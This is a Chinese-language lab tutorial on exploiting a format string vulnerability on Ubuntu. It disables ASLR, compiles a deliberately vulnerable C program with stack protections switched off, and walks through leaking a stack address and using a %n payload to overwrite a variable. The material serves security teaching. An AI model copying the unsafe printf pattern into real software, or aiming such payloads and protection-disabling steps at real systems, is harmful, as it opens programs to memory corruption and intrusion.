Ubuntu下测试格式化字符串漏洞
基础内容可以参考
http://120.78.88.5/WooyunDrops/#!/drops/823.漏洞挖掘基础之格式化字符串
首先确保系统禁用了ASLR
执行以下命令禁用ASLR,防止地址动态分配造成实验失败
|
1 |
sudo sysctl -w kernel.randomize_va_space=0 |
实验源码
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
#include <stdio.h> int main() { int flag = 0; int *p = &flag; char a[100]; scanf("%s",a); printf(a); if(flag == 2000) { printf("good!!\n"); } return 0; } |
gcc编译.关闭ld链接器不可执行机制，关闭gcc编译器gs验证码机制
|
1 |
gcc -m32 -z execstack -fno-stack-protector -g -o test32 test.c |
gcc编译器gs验证码机制
gcc编译器专门为防止缓冲区溢出而采取的保护措施，具体方法是gcc首先在缓冲区被写入之前在buf的结束地址之后返回地址之前放入随机的gs验证码，并在缓冲区写入操作结束时检验该值。通常缓冲区溢出会从低地址到高地址覆写内存，所以如果要覆写返回地址，则需要覆写该gs验证码。这样就可以通过比较写入前和写入后gs验证码的数据，判断是否产生溢出。
关闭gcc编译器gs验证码机制的方法是：
在gcc编译时采用-fno-stack-protector选项。
ld链接器堆栈段不可执行机制
ld链接器在链接程序的时候，如果所有的.o文件的堆栈段都标记为不可执行，那么整个库的堆栈段才会被标记为不可执行；相反，即使只有一个.0文件的堆栈段被标记为可执行，那么整个库的堆栈段将被标记为可执行。检查堆栈段可执行性的方法是：
如果是检查ELF库：readelf -lW $BIN | grep GNU_STACK查看是否有E标记
如果是检查生成的.o文件：scanelf -e $BIN查看是否有X标记
ld链接器如果将堆栈段标记为不可执行，即使控制了eip产生了跳转，依然会产生段错误。
关闭ld链接器不可执行机制的方法是：
在gcc编译时采用-z execstack选项。
开始调试
首先分析一下汇编代码，下面这一段代码就是将p指向flag，并且将局部变量flag、p压栈，我们只需要利用格式化字符串漏洞覆盖掉*p指向的内存地址的内容为2000就可以了。
*p地址即位ebp-0x10 从上图我们可以看到为0xffffcfb8
所以，我们现在要将0xffffcfb8这个地址的内容修改为2000。
注：
gdb调试环境里面的栈地址跟直接运行程序是不一样的,也就是说我们在直接运行程序时修改这个地址是没用的，所以我们需要结合格式化字符串漏洞读内存的功能，先泄露一个地址出来，然后我们根据泄露出来的地址计算出ebp-0x10的地址。
执行get()函数后随便输入AAAAAAA可以观察到栈区如下图
如果输入%x的话就可以读出esp+4地址上的数据 即0xffffcf54
所以说b8-54=64 计算出偏移量后我们可以去获取泄漏的地址然后再去覆盖
0xffffcfa4+0x64=0xffffd008
所以我们要修改的地址为0xffffd008
生成payload
|
1 |
python -c "print '\x08\xd0\xff\xff%10x%10x%10x%.1966x%n'" > 11 |
|
1 |
cat 11 | ./test32 |
成功
近期评论